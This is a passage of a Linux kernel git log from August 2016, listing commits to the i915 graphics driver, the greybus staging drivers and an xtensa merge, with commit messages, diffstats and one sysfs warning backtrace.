Aug 4 07:52:22 2016 +0100 drm/i915: Update GGTT initialisation functions to take drm_i915_private Since these are internal functions they operate on drm_i915_private and not the drm_device being passed in. So pass in the drm_i915_private instead, and remove one layer of dancing. No space wins here, just conforming to the norm in function parameters. v2: Include all the probe functions Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 12 ++-- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 114 +++++++++++++++++------------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 10 ++-- 4 files changed, 66 insertions(+), 72 deletions(-) commit 0088e522ddcb2cb5763ad85f9db2c2b473843d8d Author: Chris Wilson Date: Thu Aug 4 07:52:21 2016 +0100 drm/i915: Split GGTT initialisation between probing and setup In order to handle conflicting drivers (i.e. vgacon) having a different setup of hardware, we have to remove those other drivers before we try to setup our own mappings. This requires us to split GGTT initialisation between probing for the hardware location (part of the PCI BAR) and later establishing the kernel resources for it. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.c | 18 +++++++++++------- drivers/gpu/drm/i915/i915_gem_gtt.c | 34 +++++++++++++++++++++++----------- drivers/gpu/drm/i915/i915_gem_gtt.h | 1 + 3 files changed, 35 insertions(+), 18 deletions(-) commit 894eeecc1e3b47ef115e252ec58eff7ec174e7ef Author: Chris Wilson Date: Thu Aug 4 07:52:20 2016 +0100 drm/i915: Amalgamate GGTT/ppGTT vma debug list walkers As we can now have multiple VMA inside the global GTT (with partial mappings, rotations, etc), it is no longer true that there may just be a single GGTT entry and so we should walk the full vma_list to count up the actual usage. In addition to unifying the two walkers, switch from multiplying the object size for each vma to summing the bound vma sizes. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470293567-10811-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 42 +++++++++++++------------------------ 1 file changed, 15 insertions(+), 27 deletions(-) commit 9e8511ff7e3f18df7d202da06c9704d940fa68f9 Merge: 523d939 d8d2f7f Author: Chris Zankel Date: Wed Aug 3 22:30:00 2016 +0000 Merge tag 'xtensa-for-next-20160731' of git://github.com/jcmvbkbc/linux-xtensa into for_next Xtensa improvements for 4.8: - add new kernel memory layouts for MMUv3 cores: with 256MB and 512MB KSEG size, starting at physical address other than 0; - make kernel load address configurable; - clean up kernel memory layout macros; - drop sysmem early allocator and switch to memblock; - enable kmemleak and memory reservation from the device tree; - wire up new syscalls: userfaultfd, membarrier, mlock2, copy_file_range, preadv2 and pwritev2. commit 8dac1e1f2068321fb4b7062d3c5408971f7a7e35 Author: Ville Syrjälä Date: Tue Aug 2 14:07:33 2016 +0300 drm/i915: Clean up the extra RPM ref on CHV with i915.enable_rc6=0 Remove the CHV early bail out from intel_cleanup_gt_powersave() so that we'll clean up the extra RPM reference held due to i915.enable_rc6=0. Cc: Imre Deak Fixes: b268c699aca5 ("drm/i915: refactor RPM disabling due to RC6 being disabled") Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470136053-23276-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Imre Deak drivers/gpu/drm/i915/intel_pm.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 921dbe52b40b2573d9a0e8337c768930bef25fb4 Author: Vaibhav Hiremath Date: Thu Jul 28 13:47:37 2016 +0530 greybus: arche-platform: Add support for SPI bus sharing for Mihi In case of Mihi, SPI bus is shared between APB1 and APB2 SPI ROMs, so their FW flashing must be sequential and arche-platform driver should make sure that they are mutual exclusive in nature. So this patch adds certain restrictions to the user of the arche-platform driver, - User can no longer flash APB1 and APB2 SPI ROM in parallel - SPI bus becomes an resource, so user must claim it by moving respective APB device into FW_FLASHING mode and release it by exiting FW_FLASHING mode. User can exit FW_FLASHING mode by switching to any other modes (ACTIVE, OFF, STANDBY). - If APB1 is in FW_FLASHING mode, APB2 can no longer enter into FW_FLASHING mode. User will get -EBUSY. Having said that, while APB1 is into FW_FLASHING mode, APB2 can independently boot from its own SPI ROM. Testing Done: Tested by simulating usecase on EVT2. - Made sure that APB1 and APB2 FW_FLASHING mode is mutual exclusive in nature. Confirmed that an attempt on second device return -EBUSY. - Added simulating code, where printed state of dummy gpio for spi-en and verified that it shows right pin status for both APBs Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 43 ++++++++++++++++++++++++++++++++ drivers/staging/greybus/arche-platform.c | 25 ++++++------------- 2 files changed, 50 insertions(+), 18 deletions(-) commit 8ef0b5383110977d81746cd0b09c3877d51c3a67 Author: Vaibhav Hiremath Date: Wed Aug 3 17:15:38 2016 +0530 greybus: arche-platform: Reset SVC & APB only if turned off by SUSPEND_PREPARE There is possible race condition in arche platform driver for maintaining of ->state field, when shared with timesync driver. Assume device booted fine, all connected modules have been enumerated correctly. As part of suspend-resume operation we have pm_notifier callback, where we turn off SVC & APB and coldboot on resume. In the process of resume, all modules gets enumerated again, and timesync driver does come into picture everytime. So when timesync driver requests arche-platform to change the state to TIMESYNC and in the middle of sync operation, if suspend gets triggered, then execution lands into arche-platform->pm_notifier callback, leading to race condition in the driver, where it checks for (state != ACTIVE) in PM_SUSPEND_PREPARE and returns, but in PM_POST_SUSPEND it just simply coldboots SVC & APB, which would inbalance all resources (including IRQ). So we need a add check in PM_POST_SUSPEND, to make sure that, we only coldboot devices if they are in to off state, i.e. if (state != OFF) then return. Testing Done: Done regressive suspend/resume testing on EVT2 platform. Note that, I some time hit issue. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 3 +++ 1 file changed, 3 insertions(+) commit 60793c9be9a140e2102a0f64a38d34e9b28a1357 Author: Johan Hovold Date: Wed Aug 3 14:09:35 2016 +0200 greybus: es2: rename USB vendor-request timeout define Give the USB vendor-request timeout define a more descriptive name. Also drop the since-long obsolete comments about allowing "the SVC to do something" and "SVC messages go down our control pipe". Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) commit 54f34e1e4d065ea38f531341018b41c590d71861 Author: Johan Hovold Date: Wed Aug 3 14:09:34 2016 +0200 greybus: es2: add define for ARPC CPort requests Add dedicated define for ARPC CPort requests instead of using the default timeout for USB vendor requests. We still allow responses to take 500 ms to arrive, but note that this adds on top of the 500ms already allowed for a requests to be acknowledged. This should probably be tightened up at some point. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 121bae2bec47a9944049f2583b1d31f479110f0f Author: Johan Hovold Date: Wed Aug 3 14:09:33 2016 +0200 greybus: es2: allow ARPC result to be ignored Allow user of ARPC to pass a NULL pointer for the ARPC result. For simple requests there may only be one error code for remote errors, or the caller may simply not care to differentiate them. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 4ae2d962637e4a002d1f0884dceec800c79b3ea4 Author: Johan Hovold Date: Wed Aug 3 14:09:32 2016 +0200 greybus: es2: always set result value Make sure to always set the result value for ARPC instead of forcing every caller to do it in order to avoid compiler warnings. The ARPC result should still be ignored unless arpc_sync returns -EREMOTEIO. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit c468999e6acd3e8330db7d18dca320f8b21bf074 Author: Johan Hovold Date: Wed Aug 3 14:09:31 2016 +0200 greybus: es2: clean up ARPC symbol names Add a _req suffix to request message structures, and a _TYPE_ infix to request type defines. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++-- drivers/staging/greybus/greybus_protocols.h | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 06d8b7d9cf37c323aae23bfe97eabdebf0e94ce7 Author: Johan Hovold Date: Wed Aug 3 14:09:30 2016 +0200 greybus: connection: fix offloaded-connection ping cport id The host-device cport_ping callback expects the AP side cport id, but was incorrectly passed the interface cport id. Note that no host-device driver currently implements this callback, and that it is soon even to be removed. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 081ee14ab4452bbf7bab9b4df61519bb48a44375 Author: Johan Hovold Date: Wed Aug 3 14:09:29 2016 +0200 greybus: control: remove some braces Remove some no-longer-needed braces around an error path. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 6e8fc8c4c939730e4550a3f70c640f6f0a281079 Author: Johan Hovold Date: Wed Aug 3 14:09:28 2016 +0200 greybus: remove unused protocol-version messages Remove the unused protocol-version messages. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 9 --------- 1 file changed, 9 deletions(-) commit 96a945aa4267b4b16f4ddace7d03775fd8752c9e Author: Chris Wilson Date: Wed Aug 3 13:19:16 2016 +0100 drm/i915: Move the common engine cleanup to intel_engine_cs.c Now that we initialize the state to both legacy and execlists inside intel_engine_cs, we should also clean up that state from the common functions. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1470226756-24401-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/intel_engine_cs.c | 14 ++++++++++++++ drivers/gpu/drm/i915/intel_lrc.c | 5 +---- drivers/gpu/drm/i915/intel_ringbuffer.c | 4 +--- drivers/gpu/drm/i915/intel_ringbuffer.h | 1 + 4 files changed, 17 insertions(+), 7 deletions(-) commit 8f60ce76a4eb0911ddd5833badd0d27bb5dfb894 Author: Mark Greer Date: Tue Aug 2 20:30:28 2016 -0700 greybus: audio: Remove GET_TX/RX_DELAY message types The 'GB_AUDIO_TYPE_GET_TX_DELAY' and 'GB_AUDIO_TYPE_GET_RX_DELAY' are no longer a part of the Greybus Audio Device Class Protocol so remove support for them. The message numbers are not coalesced to prevent compatibility issues between the AP and the module. Testing Done: Played music using a speaker module Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.h | 4 --- drivers/staging/greybus/audio_gb.c | 40 ----------------------------- drivers/staging/greybus/greybus_protocols.h | 20 ++------------- 3 files changed, 2 insertions(+), 62 deletions(-) commit ccc57e20d1cc54b6536a4e63f6da91f42b65000f Author: Mark Greer Date: Tue Aug 2 20:36:07 2016 -0700 greybus: audio: apbridgea: Remove GET_TX/RX_DELAY message types The 'AUDIO_APBRIDGEA_TYPE_GET_TX_DELAY' and 'AUDIO_APBRIDGEA_TYPE_GET_RX_DELAY' message types have been removed from the AP <-> APBrigdeA Audio Protocol so remove them from the code. Do not coalesce the message type numbers to prevent compatibility issues between the AP and APBridgeA. Testing Done: Played music using a speaker module Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_apbridgea.c | 16 ---------------- drivers/staging/greybus/audio_apbridgea.h | 22 ++-------------------- drivers/staging/greybus/audio_codec.h | 4 ---- 3 files changed, 2 insertions(+), 40 deletions(-) commit ca9551f6815efd4e7bbdee0cd2c71c368ebdf92c Author: Bryan O'Donoghue Date: Tue Aug 2 13:18:29 2016 +0100 greybus: timesync: Printout strobe count on sync failure If we failed to synchronize the FrameTime it would be useful to know how many of the expected strobes arrived, for example a value of 0/5 would indicate the SVC was completely dead but a value of 4/5 would indicate one GPIO pulse got lost i.e. the AP was too slow reacting to an interrupt and completely missed one of the strobe events. In either case the actual number of strobes is a useful thing to print out. Signed-off-by: Bryan O'Donoghue Reviewed-by: Alex Elder Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 5cb74976b9025b1a5e6e3bfd15fde0afbaf98ae4 Author: Bryan O'Donoghue Date: Tue Aug 2 13:18:28 2016 +0100 greybus: timesync: Ensure parallel synchronous calls succeed The guard for initiating a new synchronization operation should allow for that resync to happen in every single state except for INVALID. This patch fixes by ensuring the guard does just that. With local testing it was possible to break a sync to a Module. This hasn't been observed in a buglog but should be fixed anyway. Signed-off-by: Bryan O'Donoghue Acked-by: David Lin Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7aa278b771505f8fb85406a891af0b7743710620 Author: Bryan O'Donoghue Date: Tue Aug 2 13:18:30 2016 +0100 greybus: timesync: Implement a retry mechanism It's possible the AP could miss an incoming SVC timesync pulse i.e. the AP could have interrupts switched off for long enough that one SVC GPIO strobe ends up over-lapping another one. TimeSync should be able to deal with this type of transitory failure by retrying a failed synchronous TimeSync resync up to 'n' number of times. For this patch 'n' has been set to five, which is a hand-wavy choice that 'feels' right. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) commit b6fc2876a060fdd89f6dd55a4923580983092b0f Author: David Lin Date: Mon Aug 1 20:51:38 2016 -0700 greybus: svc_watchdog: use schedule_delayed_work helper Instead of using the queue_delayed_work call for delayed work on system_wq, use the schedule_delayed_work helper to be more consistent on the style. Testing Done: - Check SVC watchdog is pining after the change. Signed-off-by: David Lin Reviewed-by: Vaibhav Hiremath Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc_watchdog.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit ea2ff95ab4e178559e63b1ab5a174dd4dd6b4019 Author: David Lin Date: Tue Aug 2 15:34:46 2016 -0700 greybus: interface: delete control device upon enable failure There is an issue that when an interface failed to be enabled due to timesync failure, a previously added control device is not deleted as part of the error clean-up. This causes a leak in the sysfs file when the interface is disabled. This would eventually cause this particular interface to be unable to register future control device even after unipro_reset. See failure logs below: [ 906.495261] greybus 1-3.3: failed to add to timesync: -19 [ 906.516497] greybus 1-3.3: failed to re-enable interface: -19 [ 907.016016] greybus 1-3.3: Interface removed ... [ 1623.677343] ------------[ cut here ]------------ [ 1623.681116] WARNING: at kernel/arche/fs/sysfs/dir.c:530 sysfs_add_one+0x98/0xb4() [ 1623.681128] sysfs: cannot create duplicate filename '/bus/greybus/devices/1-3.3.ctrl' [ 1623.681252] Call trace: [ 1623.681265] [] dump_backtrace+0x0/0x268 [ 1623.681272] [] show_stack+0x10/0x1c [ 1623.681284] [] dump_stack+0x1c/0x28 [ 1623.681295] [] warn_slowpath_common+0x74/0x9c [ 1623.681301] [] warn_slowpath_fmt+0x5c/0x80 [ 1623.681307] [] sysfs_add_one+0x94/0xb4 [ 1623.681315] [] sysfs_do_create_link_sd+0x100/0x1c8 [ 1623.681320] [] sysfs_create_link+0x2c/0x38 [ 1623.681332] [] bus_add_device+0xd8/0x190 [ 1623.681338] [] device_add+0x2b4/0x604 [ 1623.681349] [] gb_control_add+0x10/0x40 [greybus] [ 1623.681362] [] gb_interface_enable+0x20c/0x3b8 [greybus] [ 1623.681373] [] gb_module_add+0x124/0x174 [greybus] [ 1623.681385] [] gb_svc_intf_set_power_mode+0xdd4/0xfe8 [greybus] [ 1623.681394] [] process_one_work+0x268/0x3c8 [ 1623.681400] [] worker_thread+0x204/0x358 [ 1623.681410] [] kthread+0xb8/0xc4 [ 1623.681414] ---[ end trace 44489577dd9220db ]--- [ 1623.681818] greybus 1-3.3.ctrl: failed to register control device: -17 Testing Done: - Continuous unipro_reset stress test Signed-off-by: David Lin Reviewed-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Jeffrey Carlyle Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit ad7bdb2b99273b9fc7eb2dbf47b8d02b364d470e Author: Chris Wilson Date: Tue Aug 2 22:50:40 2016 +0100 drm/i915: Rename engine->semaphore.sync_to, engine->sempahore.signal locals In order to be more consistent with the rest of the request construction and ring emission, use the common names for the ring and request. Rather than using signaler_req, waiter_req, and intel_ring *wait, we use plain req and ring. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-32-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-23-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 132 ++++++++++++++++---------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 6 +- 2 files changed, 68 insertions(+), 70 deletions(-) commit ddf07be7a2aeb80aa159a7eeade01b7b5e1e3e43 Author: Chris Wilson Date: Tue Aug 2 22:50:39 2016 +0100 drm/i915: Simplify calling engine->sync_to Since requests can no longer be generated as a side-effect of intel_ring_begin(), we know that the seqno will be unchanged during ring-emission. This predicatablity then means we do not have to check for the seqno wrapping around whilst emitting the semaphore for engine->sync_to(). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-31-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-22-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 13 ++----- drivers/gpu/drm/i915/i915_gem_request.c | 9 +---- drivers/gpu/drm/i915/intel_ringbuffer.c | 64 ++++++++++++--------------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 5 ++- 5 files changed, 30 insertions(+), 63 deletions(-) commit 5b043f4e60ff72d1a0348871e33c176e4005ae9b Author: Chris Wilson Date: Tue Aug 2 22:50:38 2016 +0100 drm/i915: Unify legacy/execlists submit_execbuf callbacks Now that emitting requests is identical between legacy and execlists, we can use the same function to build up the ring for submitting to either engine. (With the exception of i915_switch_contexts(), but in time that will also be handled gracefully.) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-30-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-21-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 20 ----- drivers/gpu/drm/i915/i915_gem.c | 2 - drivers/gpu/drm/i915/i915_gem_context.c | 7 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 24 ++++-- drivers/gpu/drm/i915/intel_lrc.c | 123 ----------------------------- drivers/gpu/drm/i915/intel_lrc.h | 5 -- 6 files changed, 21 insertions(+), 160 deletions(-) commit 15d21db87239840ae8248cf26e46391edc13cfe3 Author: Chris Wilson Date: Tue Aug 2 22:50:37 2016 +0100 drm/i915: Refactor golden render state emission to unconfuse gcc GCC was inlining the init and setup functions, but was getting itself confused into thinking that variables could be used uninitialised. If we do the inline for gcc, it is happy! As a bonus we shrink the code. v2: A couple of minor tweaks from Joonas Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-29-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-20-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_render_state.c | 95 ++++++++-------------------- 1 file changed, 27 insertions(+), 68 deletions(-) commit e40f9ee6612c492d875b3de6dcba98522e0afe36 Author: Chris Wilson Date: Tue Aug 2 22:50:36 2016 +0100 drm/i915: Remove duplicate golden render state init from execlists Now that we use the same vfuncs for emitting the batch buffer in both execlists and legacy, the golden render state initialisation is identical between both. v2: gcc wants so.ggtt_offset initialised (even though it is not used) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-28-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-19-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_render_state.c | 23 +++++++++++++------ drivers/gpu/drm/i915/i915_gem_render_state.h | 18 --------------- drivers/gpu/drm/i915/intel_lrc.c | 34 +--------------------------- drivers/gpu/drm/i915/intel_renderstate.h | 16 +++++++++---- 4 files changed, 28 insertions(+), 63 deletions(-) commit 618e4ca7b137612fd6b4395f011d9b392d68d149 Author: Chris Wilson Date: Tue Aug 2 22:50:35 2016 +0100 drm/i915/ringbuffer: Specialise SNB+ request emission for semaphores As gen6_emit_request() only differs from i9xx_emit_request() when semaphores are enabled, only use the specialised vfunc in that scenario. v2: Reorder semaphore init so as to keep engine->emit_request default vfunc selection compact. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-27-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-18-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 24 +++++++++++------------- 1 file changed, 11 insertions(+), 13 deletions(-) commit b0411e7d453118fb72f5b0c10202b5b7c98a0329 Author: Chris Wilson Date: Tue Aug 2 22:50:34 2016 +0100 drm/i915: Reuse legacy breadcrumbs + tail emission As GEN6+ is now a simple variant on the basic breadcrumbs + tail write, reuse the common code. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-26-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-17-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 78 +++++++++++++-------------------- 1 file changed, 31 insertions(+), 47 deletions(-) commit 9242f974dc4c4656981aaa4104d0cbc46ddb03d5 Author: Chris Wilson Date: Tue Aug 2 22:50:33 2016 +0100 drm/i915: Stop passing caller's num_dwords to engine->semaphore.signal() Rather than pass in the num_dwords that the caller wishes to use after the signal command packet, split the breadcrumb emission into two phases and have both the signal and breadcrumb individiually acquire space on the ring. This makes the interface simpler for the reader, and will simplify for patches. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-25-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-16-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 51 ++++++++++++++------------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 4 +-- 2 files changed, 23 insertions(+), 32 deletions(-) commit f4ea6bddb9988e7aa6f50732c75739e8cd7c2582 Author: Chris Wilson Date: Tue Aug 2 22:50:32 2016 +0100 drm/i915/lrc: Update function names to match request flow With adding engine->submit_request, we now have a bunch of functions with similar names used at different stages of the execlist submission. Try a different coat of paint, to hopefully reduce confusion between the requests, intel_engine_cs and the actual execlists submision process. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-24-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-15-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_guc_submission.c | 6 +++--- drivers/gpu/drm/i915/intel_lrc.c | 18 +++++++++--------- 2 files changed, 12 insertions(+), 12 deletions(-) commit ddd66c5154c25dcb78e3ca29baa0d16cf2c8d6fb Author: Chris Wilson Date: Tue Aug 2 22:50:31 2016 +0100 drm/i915: Unify request submission Move request submission from emit_request into its own common vfunc from i915_add_request(). v2: Convert I915_DISPATCH_flags to BIT(x) whilst passing v3: Rename a few functions to match. v4: Reenable execlists submission after disabling guc. v5: Be aware that everyone calls i915_guc_submission_disable()! Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-23-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-14-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 8 +++----- drivers/gpu/drm/i915/i915_guc_submission.c | 15 ++++++++++++--- drivers/gpu/drm/i915/intel_guc.h | 1 - drivers/gpu/drm/i915/intel_lrc.c | 26 +++++++++++++++----------- drivers/gpu/drm/i915/intel_lrc.h | 2 ++ drivers/gpu/drm/i915/intel_ringbuffer.c | 23 +++++++++-------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 27 +++++++++++++-------------- 7 files changed, 54 insertions(+), 48 deletions(-) commit 8f9420184a3d62f9ca1ddb2b2f716989c461489b Author: Chris Wilson Date: Tue Aug 2 22:50:30 2016 +0100 drm/i915: Move the modulus for ring emission to the register write Space reservation is already safe with respect to the ring->size modulus, but hardware only expects to see values in the range 0...ring->size-1 (inclusive) and so requires the modulus to prevent us writing the value ring->size instead of 0. As this is only required for the register itself, we can defer the modulus to the register update and not perform it after every command packet. We keep the intel_ring_advance() around in the code to provide demarcation for the end-of-packet (which then can be compared against intel_ring_begin() as the number of dwords emitted must match the reserved space). v2: Assert that the ring size is a power-of-two to match assumptions in the code. Simplify the comment before writing the tail value to explain why the modulus is necessary. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Dave Gordon Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-13-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_lrc.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 8 ++++++-- drivers/gpu/drm/i915/intel_ringbuffer.h | 20 +++++++++++++------- 3 files changed, 20 insertions(+), 10 deletions(-) commit c5efa1ad09784905ae31cd65b659cc73c09fd290 Author: Chris Wilson Date: Tue Aug 2 22:50:29 2016 +0100 drm/i915: Convert engine->write_tail to operate on a request If we rewrite the I915_WRITE_TAIL specialisation for the legacy ringbuffer as submitting the request onto the ringbuffer, we can unify the vfunc with both execlists and GuC in the next patch. v2: Drop the modulus from the I915_WRITE_TAIL as it is currently being applied in intel_ring_advance() after every command packet, and add a comment explaining why we need the modulus at all. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-22-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-12-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 8 ++---- drivers/gpu/drm/i915/intel_ringbuffer.c | 51 ++++++++++++++++----------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 10 +++++-- 3 files changed, 36 insertions(+), 33 deletions(-) commit ba76d91bc00b5f58ae42991cf9ec97e989bc05a2 Author: Chris Wilson Date: Tue Aug 2 22:50:28 2016 +0100 drm/i915: Remove intel_ring_get_tail() Joonas doesn't like the tiny function, especially if I go around making it more complicated and using it elsewhere. To remove that temptation, remove the function! Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-21-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-11-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 8 ++++---- drivers/gpu/drm/i915/intel_ringbuffer.h | 5 ----- 2 files changed, 4 insertions(+), 9 deletions(-) commit 803688babda2398ac705825e94e1617d8419f737 Author: Chris Wilson Date: Tue Aug 2 22:50:27 2016 +0100 drm/i915: Unify legacy/execlists emission of MI_BATCHBUFFER_START Both the ->dispatch_execbuffer and ->emit_bb_start callbacks do exactly the same thing, add MI_BATCHBUFFER_START to the request's ringbuffer - we need only one vfunc. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-20-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-10-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 6 ++-- drivers/gpu/drm/i915/i915_gem_render_state.c | 16 +++++----- drivers/gpu/drm/i915/intel_lrc.c | 15 ++++++--- drivers/gpu/drm/i915/intel_ringbuffer.c | 48 ++++++++++++++-------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 12 +++---- 5 files changed, 50 insertions(+), 47 deletions(-) commit 8e6371783738b29f92ab3b8916c652a4a600dd52 Author: Chris Wilson Date: Tue Aug 2 22:50:26 2016 +0100 drm/i915: Simplify request_alloc by returning the allocated request If is simpler and leads to more readable code through the callstack if the allocation returns the allocated struct through the return value. The importance of this is that it no longer looks like we accidentally allocate requests as side-effect of calling certain functions. Signed-off-by: Chris Wilson Link: 